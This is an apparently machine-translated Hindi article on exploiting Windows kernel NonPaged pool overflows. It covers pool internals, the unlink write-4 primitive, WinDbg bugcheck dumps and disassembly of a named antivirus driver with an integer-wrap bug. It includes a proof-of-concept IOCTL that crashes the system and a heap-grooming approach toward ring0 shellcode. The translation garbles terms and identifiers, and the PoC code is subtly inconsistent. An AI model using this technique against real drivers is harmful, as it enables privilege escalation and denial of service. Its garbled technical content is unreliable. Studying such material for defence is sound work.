👨🏻‍🎨 🍢 👧🏻 कर्नेल पूल अतिप्रवाह: थ्योरी से प्रैक्टिस तक 🗯️ 😙 ❔

विंडोज कर्नेल हमेशा एक हैकर के लिए एक tidbit रहा है, खासकर जब इसके दोहन के लिए पूर्ण तरीके हैं, जो उन्नत अधिकारों के लिए अग्रणी है। इस तथ्य को देखते हुए कि पिछले कुछ वर्षों में, कर्नेल डायनेमिक मेमोरी के अतिप्रवाह से जुड़ी कमजोरियों की संख्या में तेजी से वृद्धि हुई है, मुझे इस क्षेत्र में सक्रिय रूप से दिलचस्पी थी और, अपने स्वयं के आश्चर्य के लिए, अंततः इतनी सामग्री जमा हुई कि यह एक 0day बग के लिए पर्याप्त होगा।

दृश्य परमाणु शेलकोड :)

समस्या की तात्कालिकता

मेमोरी मैनेजमेंट टेक्नोलॉजी कोर में सबसे महत्वपूर्ण है। इस तंत्र की कमजोरियां संभवतः सबसे भयानक और, एक ही समय में, प्रासंगिक हैं। वे विभिन्न प्रकार की सुरक्षा बनाने के लिए मुख्य प्रोत्साहन हैं, जैसे सुरक्षित अनलिंकिंग। इस लेख में, गतिशील कर्नेल मेमोरी अतिप्रवाह के संचालन पर कुछ पहलुओं, दोनों सैद्धांतिक और व्यावहारिक, पर विस्तार से जांच की जाएगी।

सबसे पहले, मैं इस जाति की सबसे प्रमुख कमजोरियों पर उंगली उठाता हूं:

ms08-001 - IGMPv3 कर्नेल पूल अतिप्रवाह - tcpip.sys में दूरस्थ अतिप्रवाह;
ms09-006 - एक win32k.sys भेद्यता के साथ जुड़े कुछ wmf / emf प्रविष्टियों के प्रसंस्करण में भेद्यता;
ms10-058 - पूर्णांक अतिप्रवाह भेद्यता tcpip.sys में पूल अतिप्रवाह के लिए अग्रणी।

कर्नेल मेमोरी आवंटन अवलोकन

किसी भी स्वाभिमानी ऑपरेटिंग सिस्टम में, विंडोज (या बल्कि, इसकी कर्नेल) मेमोरी को आवंटित / मुक्त करने के लिए कुछ कार्य प्रदान करता है। वर्चुअल मेमोरी में पेज नामक ब्लॉक होते हैं। इंटेल x86 आर्किटेक्चर में, पृष्ठ का आकार 4096 बाइट्स है। हालांकि, अधिकांश मेमोरी आवंटन अनुरोध पृष्ठ आकार से कम हैं। इसलिए, कर्नेल फ़ंक्शन जैसे ExAllocatePoolWithTag और ExFreePoolWithTag आरक्षित अप्रयुक्त मेमोरी को बाद में आवंटन के लिए। आंतरिक कार्य हर बार एक पेज सक्रिय होने पर हार्डवेयर के साथ सीधे संपर्क करते हैं। ये सभी प्रक्रियाएं काफी जटिल और नाजुक हैं, यही वजह है कि उन्हें कोर में लागू किया जाता है।

Paged और NonPaged पूल के बीच अंतर

सिस्टम कोर मेमोरी को दो अलग-अलग पूल में विभाजित किया गया है। इस feint का आविष्कार सबसे अधिक उपयोग किए जाने वाले मेमोरी ब्लॉकों को उजागर करने के लिए किया गया था। सिस्टम को पता होना चाहिए कि कौन से पृष्ठ सबसे अधिक मांग में हैं और कौन से पृष्ठों को अस्थायी रूप से छोड़ दिया जा सकता है (तार्किक रूप से, सही?)। Paged पूल को RAM में सहेजा जा सकता है या फ़ाइल सिस्टम (स्वैप) में मजबूर किया जा सकता है। नॉनपेजेड पूल का उपयोग महत्वपूर्ण कार्यों के लिए किया जाता है, केवल रैम और आईआरक्यूएल के प्रत्येक स्तर के लिए मौजूद है।

Pagefile.sys फ़ाइल में पृष्ठांकित मेमोरी होती है। हाल के दिनों में, वह पहले से ही एक हमले का शिकार था जिसके दौरान अहस्ताक्षरित कोड को विस्टा कर्नेल में इंजेक्ट किया गया था। चर्चा किए गए समाधानों के बीच, इसे पृष्ठांकित स्मृति को अक्षम करने का प्रस्ताव दिया गया था। जोआना रुटकोव्स्का ने दूसरों की तुलना में इस तरह के समाधान को अधिक सुरक्षित बताया, हालांकि इसका परिणाम शारीरिक स्मृति का मामूली नुकसान था। Microsoft डिस्क पर सीधे पहुंच से इनकार करता है, जो कि विंडोज कर्नेल की ऐसी सुविधाओं के महत्व की पुष्टि करता है जैसे कि Paged और NonPaged पूल। यह लेख नॉनपेजेड पूल पर ध्यान देने के साथ लिखा गया है, क्योंकि पेजेड-पूल प्रसंस्करण पूरी तरह से अलग है। नॉनपेजेड पूल को ढेर के कम विशिष्ट कार्यान्वयन के रूप में माना जा सकता है। सिस्टम पूल के बारे में विस्तृत जानकारी माइक्रोसॉफ्ट विंडोज इंटर्नल में उपलब्ध है।

नॉनपेज़ेड पूल टेबल

आवंटन एल्गोरिथ्म को जल्दी से सबसे अधिक उपयोग किए जाने वाले संस्करणों को वितरित करना चाहिए। इसलिए, तीन अलग-अलग टेबल हैं, जिनमें से प्रत्येक एक निश्चित सीमा की मेमोरी आवंटित करता है। मुझे यह संरचना अधिकांश मेमोरी मैनेजमेंट एल्गोरिदम में मिली। उपकरणों से मेमोरी के रीडिंग ब्लॉक में कुछ समय लगता है, इसलिए विंडोज एल्गोरिदम में प्रतिक्रिया की गति और स्मृति के इष्टतम आवंटन के बीच एक संतुलन है। यदि मेमोरी ब्लॉक बाद के आवंटन के लिए सहेजे जाते हैं तो प्रतिक्रिया समय कम हो जाता है। दूसरी ओर अत्यधिक मेमोरी अतिरेक, प्रदर्शन को प्रभावित कर सकता है।

एक तालिका मेमोरी के ब्लॉक को स्टोर करने का एक अलग तरीका है। हम प्रत्येक तालिका और उसके स्थान को देखेंगे।

नॉनपेजेड लुकसाइड - प्रत्येक प्रोसेसर को सौंपी गई तालिका और 256 बाइट्स के बराबर या उससे कम मेमोरी साइज़ के साथ काम करना। प्रत्येक प्रोसेसर में एक कंट्रोल रजिस्टर (पीसीआर) होता है जो प्रोसेसर को ओवरहेड - IRQL, GDT, IDT स्टोर करता है। रजिस्ट्री विस्तार को नियंत्रण क्षेत्र (पीसीआरबी) कहा जाता है और इसमें लुकसाइड टेबल होते हैं। निम्नलिखित विंडबग डंप ऐसी तालिका की संरचना का प्रतिनिधित्व करता है:

विंडबग में संरचनाओं के डंप

अन्य प्रकारों की तुलना में लुकसाइड टेबल सबसे तेज़ रीड मेमोरी ब्लॉक प्रदान करते हैं। इस तरह के अनुकूलन के लिए, देरी का समय बहुत महत्वपूर्ण है, और एक एकल लिंक की गई सूची (जिसे लुकसाइड में लागू किया गया है) एक दोगुनी लिंक की तुलना में बहुत अधिक कुशल है। ExInterlockedPopEntrySList फ़ंक्शन का उपयोग हार्डवेयर "लॉक" निर्देश का उपयोग करके सूची से प्रविष्टि का चयन करने के लिए किया जाता है। PPNPagedLookasideList उपर्युक्त लुकसाइड तालिका है। इसमें दो लुकसाइड सूचियाँ शामिल हैं: P और L. GENERAL_LOOKASIDE संरचना का "गहराई" क्षेत्र निर्धारित करता है कि लिस्टहेड में कितने रिकॉर्ड हो सकते हैं। सिस्टम नियमित रूप से विभिन्न काउंटरों का उपयोग करके इस पैरामीटर को अपडेट करता है। अपडेट एल्गोरिदम प्रोसेसर नंबर पर आधारित है और पी और एल के लिए समान नहीं है। पी सूची में, "गहराई" फ़ील्ड को एल सूची की तुलना में अधिक बार अपडेट किया जाता है, क्योंकि पी बहुत छोटे ब्लॉकों के लिए अनुकूलित है।

दूसरी तालिका प्रोसेसर की संख्या पर निर्भर करती है और सिस्टम उन्हें कैसे नियंत्रित करता है। मेमोरी आवंटन की इस पद्धति का उपयोग किया जाएगा यदि वॉल्यूम 4080 बाइट्स से कम या बराबर है, या यदि लुकसाइड खोज ने रिटर्न परिणाम नहीं दिए हैं। यहां तक कि अगर लक्ष्य तालिका बदल जाती है, तो इसमें समान POOL_DESCRIPTOR संरचना होगी। एक एकल प्रोसेसर के लिए, नॉनप्लेजेडपूलस्क्रिप्ट पॉइंटर को पढ़ने के लिए पूलवेक्टर वैरिएबल का उपयोग किया जाता है। कई प्रोसेसरों के लिए, ExpNonPagedPoolDescriptor तालिका में पूल विवरण के साथ 16 स्लॉट हैं। प्रत्येक प्रोसेसर का PCRB एक KNODE संरचना को दर्शाता है। एक नोड एक से अधिक प्रोसेसर से जुड़ा हो सकता है और इसमें एक "रंग" फ़ील्ड होता है, जिसका उपयोग एक्सपेंनडेज्डपूलडिसस्क्रिप्ट के लिए एक सूची के रूप में किया जाता है। निम्नलिखित चित्र इस एल्गोरिथ्म का वर्णन करते हैं:

एकल प्रोसेसर पूल विवरण

मल्टी-प्रोसेसर पूल विवरण

कर्नेल वैश्विक चर ExpNumberOfNonPagedPools को परिभाषित करता है, यदि इस तालिका का उपयोग कई प्रोसेसर द्वारा किया जाता है। इसमें प्रोसेसर की संख्या होनी चाहिए।

निम्नलिखित विंडबग डंप POOL_DESCRIPTOR संरचना प्रदर्शित करता है:

संरचना POOL_DESCRIPTOR

स्पिनलॉक कतार सिंक्रनाइज़ेशन को लागू करती है; एचएएल लाइब्रेरी का हिस्सा पूल डिस्क्रिप्टर में संघर्ष को रोकने के लिए उपयोग किया जाता है। यह प्रक्रिया केवल एक प्रोसेसर और एक थ्रेड को पूल डिस्क्रिप्टर से एक साथ लिखने की पहुंच प्राप्त करने की अनुमति देती है। HAL लाइब्रेरी आर्किटेक्चर में भिन्न है। डिफ़ॉल्ट पूल डिस्क्रिप्टर के लिए, मुख्य नॉनपेजेड स्पिनलॉक लॉक किया गया है (LockQueueNonPagedPoolLock)। और अगर इसे बंद नहीं किया जाता है, तो इसके लिए एक अलग स्पिनलॉक कतार बनाई जाती है।

तीसरी और अंतिम तालिका का उपयोग प्रोसेसर द्वारा 4080 बाइट्स पर मेमोरी वॉल्यूम को संसाधित करने के लिए किया जाता है। MmNonPagedPoolFreeListHead का उपयोग मेमोरी से बाहर के बचे हुए टेबल में किया जाता है। इस तालिका तक पहुंच तब होती है जब नॉनपेजेड स्पिनलॉक द्वारा मुख्य कतार तक पहुँच प्राप्त की जाती है, जिसे लॉकक्यूयू नॉनपेजडप्लॉक भी कहा जाता है।

एक छोटे मेमोरी ब्लॉक को खाली करते समय, ExFreePoolWithTag इसे पिछले और अगले फ्री ब्लॉक्स के साथ जोड़ देता है। इस तरह पृष्ठ आकार या अधिक का एक ब्लॉक बनाया जा सकता है। इस स्थिति में, ब्लॉक MNNonPagedPoolFreeListHead तालिका में जोड़ा जाता है।

मेमोरी आवंटन और रिलीज एल्गोरिदम

ओएस के विभिन्न संस्करणों में कर्नेल मेमोरी आवंटन लगभग अपरिवर्तित है, लेकिन यह एल्गोरिथ्म उपयोगकर्ता प्रक्रियाओं के ढेर से कम जटिल नहीं है। लेख के इस भाग में, मैं स्मृति आबंटन और निस्तारण प्रक्रियाओं के दौरान सारणी व्यवहार की मूल बातें बताना चाहता हूं। कई विवरण, जैसे कि सिंक्रनाइज़ेशन तंत्र, जानबूझकर छोड़ा जाएगा। ये एल्गोरिदम विधि को समझाने और कर्नेल में मेमोरी आवंटन की मूल बातें समझने में मदद करेंगे।

NonPaged पूल में वितरण एल्गोरिथम (ExAllocatePoolWithTag):

दृश्य स्मृति आवंटन एल्गोरिथ्म

NonPaged पूल रिलीज़ एल्गोरिथ्म (ExFreePoolWithTag):

तदनुसार, स्मृति आवंटन एल्गोरिथ्म

मौत के नीले परदे से लेकर इच्छाओं की पूर्ति तक

जब डायनामिक मेमोरी ओवरफ्लो हो जाती है, तो अन्य आवंटित ब्लॉकों के मेटाडेटा को आमतौर पर ओवरराइट कर दिया जाता है, जो मुख्य रूप से कई BugCheck (या बस बीएसओडी) की ओर जाता है:

BAD_POOL_HEADER : ExFreePoolWithTag कोड में कॉल किया जाता है, यदि अगले चंक का PreviousSize वर्तमान चंक्स के BlockSize के बराबर नहीं है।

BAD_POOL_HEADER (19) 
      

        
        
        
      

     The pool is already corrupt at the time of the current request. This may or may not be due to the caller. The internal pool links must be walked to figure out a possible cause of the problem, and then special pool applied to the suspect tags or the driver verifier to a suspect driver. 
      

        
        
        
      

     Arguments: 
      

        
        
        
      

     Arg1: 00000020, a pool block header size is corrupt. 
      

        
        
        
      

     Arg2: 812c1000, The pool entry we were looking for within the page. <----   
      

        
        
        
      

     Arg3: 812c1fc8, The next pool entry. <----  ,     
      

        
        
        
      

     Arg4: 0bf90000, (reserved)

DRIVER_CORRUPTED_EXPOOL: ExFreePoolWithTag कोड में कॉल किया जाता है, अगर एक पेज फॉल्ट अपवाद अनलिंक के दौरान हुआ।

DRIVER_CORRUPTED_EXPOOL (c5) 
      

        
        
        
      

     An attempt was made to access a pageable (or completely invalid) address at an 
      

        
        
        
      

     interrupt request level (IRQL) that is too high. This is caused by drivers that have corrupted the system pool. Run the driver verifier against any new (or suspect) drivers, and if that doesn't turn up the culprit, then use gflags to enable special pool. 
      

        
        
        
      

     Arguments: 
      

        
        
        
      

     Arg1: 43434343, memory referenced <-----    Blink'a 
      

        
        
        
      

     Arg2: 00000002, IRQL 
      

        
        
        
      

     Arg3: 00000001, value 0 = read operation, 1 = write operation 
      

        
        
        
      

     Arg4: 80544d06, address which referenced memory

BAD_POOL_CALLER: ExFreePoolWithTag कोड में कॉल किया जाता है, तो जिस चंक को वे छोड़ने की कोशिश कर रहे हैं वह पहले से ही जारी है।

चलो शीर्षक के शीर्षक (मेटाडेटा) पर करीब से नज़र डालें:

 //   typedef struct _POOL_HEADER { union { struct { USHORT PreviousSize : 9; USHORT PoolIndex : 7; USHORT BlockSize : 9; USHORT PoolType : 7; } ULONG32 Ulong1; } union { struct _EPROCESS* ProcessBilled; ULONG PoolTag; struct { USHORT AllocatorBackTraceIndex; USHORT PoolTagHash; } } } POOL_HEADER, *POOL_HEADER; // sizeof(POOL_HEADER) == 8

पिछलासाइज़, ब्लॉकाइज़ मानों की गणना निम्नानुसार की जाती है:

 PreviousSize = (____ + sizeof(POOL_HEADER)) / 8 BlockSize = (___ + sizeof(POOL_HEADER)) / 8

यदि PoolType का मान शून्य है, तो इस तरह के एक chunk को मुक्त कर दिया जाता है, और nt! _LIST_ENTRY संरचना शीर्ष लेख का अनुसरण करती है।

kd> dt nt!_LIST_ENTRY 
      

        
        
        
      

     +0x000 Flink : Ptr32 _LIST_ENTRY 
      

        
        
        
      

     +0x004 Blink : Ptr32 _LIST_ENTRY

शोषण

चंक रिलीज़ एल्गोरिथ्म इस तरह से काम करता है कि अगर चंक रिलीज़ होने के बाद एक मुक्त चंक है, तो विलय होता है, यानी दो मुक्त विखंडू में से एक एक साथ सरेस से जोड़ा हुआ है। यह एक सरल अनलिंक ऑपरेशन के माध्यम से किया जाता है।

डबल लिंक की गई सूची से प्रवेश प्रविष्टि हटाएं

PLIST_ENTRY b,f; 
      

        
        
        
      

     f=entry->Flink; 
      

        
        
        
      

     b=entry->Blink; 
      

        
        
        
      

     b->Flink=f; 
      

        
        
        
      

     f->Blink=b;

यह एक नियंत्रित पते पर 4 बाइट्स को ओवरराइट करने की ओर जाता है:

एल्गोरिथ्म की सरल योजना जिसे हमने लागू किया था

हम अभ्यास करते हैं!

पर्याप्त ज्ञान होने के बाद, एक एकल एंटी-वायरस उत्पाद के चालक में भेद्यता पर विचार करें।

.text:00016330 mov cx, [eax] ; eax       
      

        
        
        
      

     .text:00016333 inc eax 
      

        
        
        
      

     .text:00016334 inc eax 
      

        
        
        
      

     .text:00016335 test cx, cx 
      

        
        
        
      

     .text:00016338 jnz short loc_16330 
      

        
        
        
      

     .text:0001633A sub eax, edx 
      

        
        
        
      

     .text:0001633C sar eax, 1 
      

        
        
        
      

     .text:0001633E lea eax, [eax+eax+50h] ;  UNICODE  + 0x50  
      

        
        
        
      

     .text:00016342 movzx edi, ax ;   ,   WORD 
      

        
        
        
      

     .text:00016345 
      

        
        
        
      

     .text:00016345 loc_16345:; 
      

        
        
        
      

     .text:00016345 movzx eax, di 
      

        
        
        
      

     .text:00016348 push ebx 
      

        
        
        
      

     .text:00016349 xor ebx, ebx 
      

        
        
        
      

     .text:0001634B cmp eax, ebx 
      

        
        
        
      

     .text:0001634D jz short loc_16359 
      

        
        
        
      

     .text:0001634F push eax; -  
      

        
        
        
      

     .text:00016350 push ebx;  (NonPaged) 
      

        
        
        
      

     .text:00016351 call ds:ExAllocatePool ;       chunk'a 
      

        
        
        
      

     .text:00016357 mov ebx, eax 
      

        
        
        
      

     [..] 
      

        
        
        
      

     .text:000163A6 movzx esi, word ptr [edx] 
      

        
        
        
      

     .text:000163A9 mov [eax+edx], si ;      
      

        
        
        
      

     .text:000163AD inc edx 
      

        
        
        
      

     .text:000163AE inc edx 
      

        
        
        
      

     .text:000163AF test si, si 
      

        
        
        
      

     [..] 
      

        
        
        
      

     .text:000163F5 push ebx; P 
      

        
        
        
      

     .text:000163F6 call sub_12A43 
      

        
        
        
      

     .text:00012A43 sub_12A43 proc near; CODE XREF: sub_12C9A+5Cp 
      

        
        
        
      

     .text:00012A43; sub_12C9A+79p ... 
      

        
        
        
      

     .text:00012A43 
      

        
        
        
      

     .text:00012A43 P = dword ptr 4 
      

        
        
        
      

     .text:00012A43 
      

        
        
        
      

     .text:00012A43 cmp esp+P], 0 
      

        
        
        
      

     .text:00012A48 jz short locret_12A56 
      

        
        
        
      

     .text:00012A4A push 0; Tag 
      

        
        
        
      

     .text:00012A4C push [esp+4+P]; P 
      

        
        
        
      

     .text:00012A50 call ds:ExFreePoolWithTag ; , write4

सी-जैसे छद्म कोड

 len = wsclen(attacker_controlled); total_len = (2*len + 0x50) ; size_2_alloc = (WORD)total_len; // integer wrap!!! mem = ExAllocatePool(size_2_alloc); .... wcscpy(mem, attacker_controlled);//     ... ExFreePool(mem); //  ,   ,   ,   ,      ,     ,    ring0-shellcode

जैसा कि आप कोड से देख सकते हैं, भेद्यता पूर्णांक प्रकारों के रूपांतरण से जुड़ी है, जो इस तथ्य की ओर जाता है कि यूनिकोड स्ट्रिंग के लिए आकार की सही गणना नहीं की जाएगी। यदि आप ड्राइवर को 0xffff बाइट्स से अधिक यूनिकोड स्ट्रिंग के साथ एक बफर पास करते हैं, तो यह सभी अतिप्रवाह का कारण होगा।

BSoD खेलने के लिए सरल कोड

 hDevice = CreateFileA("\\\\.\\KmxSbx", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL); inbuff = (char *)malloc(0x1C000); if(!inbuff){ printf("malloc failed!\n"); return 0; } memset(inbuff, 'A',0x1C000-1); memset(buff+0x11032, 0x00, 2);//end of unicode, size to allocate 0xff0 ioctl = 0x88000080; first_dword = 0x400; memcpy(buff, &first_dword, sizeof(DWORD)); DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, 0x1C000, (LPVOID)inbuff, 0x100, &cb,NULL);

इस भेद्यता का शोषण उतना सरल नहीं है जितना पहली नज़र में लग सकता है। यहां कुछ प्रतिबंध हैं, अर्थात्, अतिप्रवाह (चंक की सीमाओं पर लेखन) बहुत बड़ा है (0xffff से अधिक), जो संभावित रूप से ExFreePoolWithTag को निष्पादित करने से पहले एक नीले स्क्रीन की ओर जाता है (और इसलिए विलय के दौरान संकेत को बदलने के लिए):

PAGE_FAULT_IN_NONPAGED_AREA (50) 
      

        
        
        
      

     Invalid system memory was referenced. This cannot be protected by try-except, 
      

        
        
        
      

     it must be protected by a Probe. Typically the address is just plain bad or it 
      

        
        
        
      

     is pointing at freed memory. 
      

        
        
        
      

     Arguments: 
      

        
        
        
      

     Arg1: fe8aa000, memory referenced. 
      

        
        
        
      

     Arg2: 00000001, value 0 = read operation, 1 = write operation. 
      

        
        
        
      

     Arg3: f0def3a9, If non-zero, the instruction address which referenced the bad memory address. 
      

        
        
        
      

     Arg4: 00000000, (reserved) 
      

        
        
        
      

     eax=00029fa8 ebx=fe8a7008 ecx=00000008 edx=fe880058 esi=00004141 edi=fe87d094 
      

        
        
        
      

     eip=f0def3a9 esp=f0011b78 ebp=f0011bac iopl=0 nv up ei pl nz na pe nc 
      

        
        
        
      

     cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206 
      

        
        
        
      

     KmxSbx+0x63a9: 
      

        
        
        
      

     f0def3a9 66893410 mov word ptr [eax+edx],si ds:0023:fe8aa000=???? <----   ,

स्मृति को पुनर्लेखन करते समय, हम डेटा को फिर से लिख सकते हैं जो किसी भी परमाणु संरचना के लिए एक संकेतक है, जिससे सबसे अप्रत्याशित परिणाम (अगले बीएसओडी) हो सकते हैं।

इस भेद्यता की परिचालन दक्षता में सुधार करने के लिए, हम निम्नलिखित चाल का उपयोग करेंगे: N थ्रेड्स बनाएँ जो DeviceIoControl को मापदंडों के साथ कहते हैं जैसे कि कुछ प्रायिकता N के साथ एक निश्चित लंबाई के ब्लॉक की संख्या (इस उदाहरण में 0xff0) आवंटित की जाती है, फिर मुक्त किया जाता है - यह हमें एक मौका देता है, उस ओवरफ्लो में हमें पेज फॉल्ट (PAGE_FAULT_IN_NONPAGED_AREA) जैसी नीली स्क्रीन नहीं मिलेगी। हमारे डीवीडी पर विस्तृत टिप्पणियों के साथ सुझाए गए कोड नमूने को देखें।

दृश्य परमाणु शेलकोड :)

निष्कर्ष

बिदाई में, मैं केवल यह कह सकता हूं कि कर्नेल पूल ओवरफ्लो के संचालन के बारे में इंटरनेट पर बहुत कम जानकारी है। यह भी परेशान है कि जनता में कोई भी ऑपरेशनल कारनामे नहीं होते हैं, जिससे कुछ गलतफहमी पैदा होती है कि कर्नेल में मेमोरी ओवरफ्लो करना बहुत मुश्किल है, और यदि संभव हो, तो अत्याचारों का अधिकतम परिणाम साधारण बीएसओडी है।

इस लेख में, लेखकों ने एक वास्तविक उदाहरण के साथ दिखाने की कोशिश की कि सरलता को जोड़कर, इस तरह की कमजोरियों के शोषण के तरीकों की स्थिरता में सुधार करना संभव है।

भविष्य के लेखों में, हम कर्नेल पूल ओवरफ्लो के संचालन के अधिक जटिल पहलुओं के बारे में बात करेंगे, जो निश्चित रूप से मौजूद हैं और पंखों में इंतजार कर रहे हैं :)। देखते रहो!

कर्नेल पूल अतिप्रवाह: थ्योरी से प्रैक्टिस तक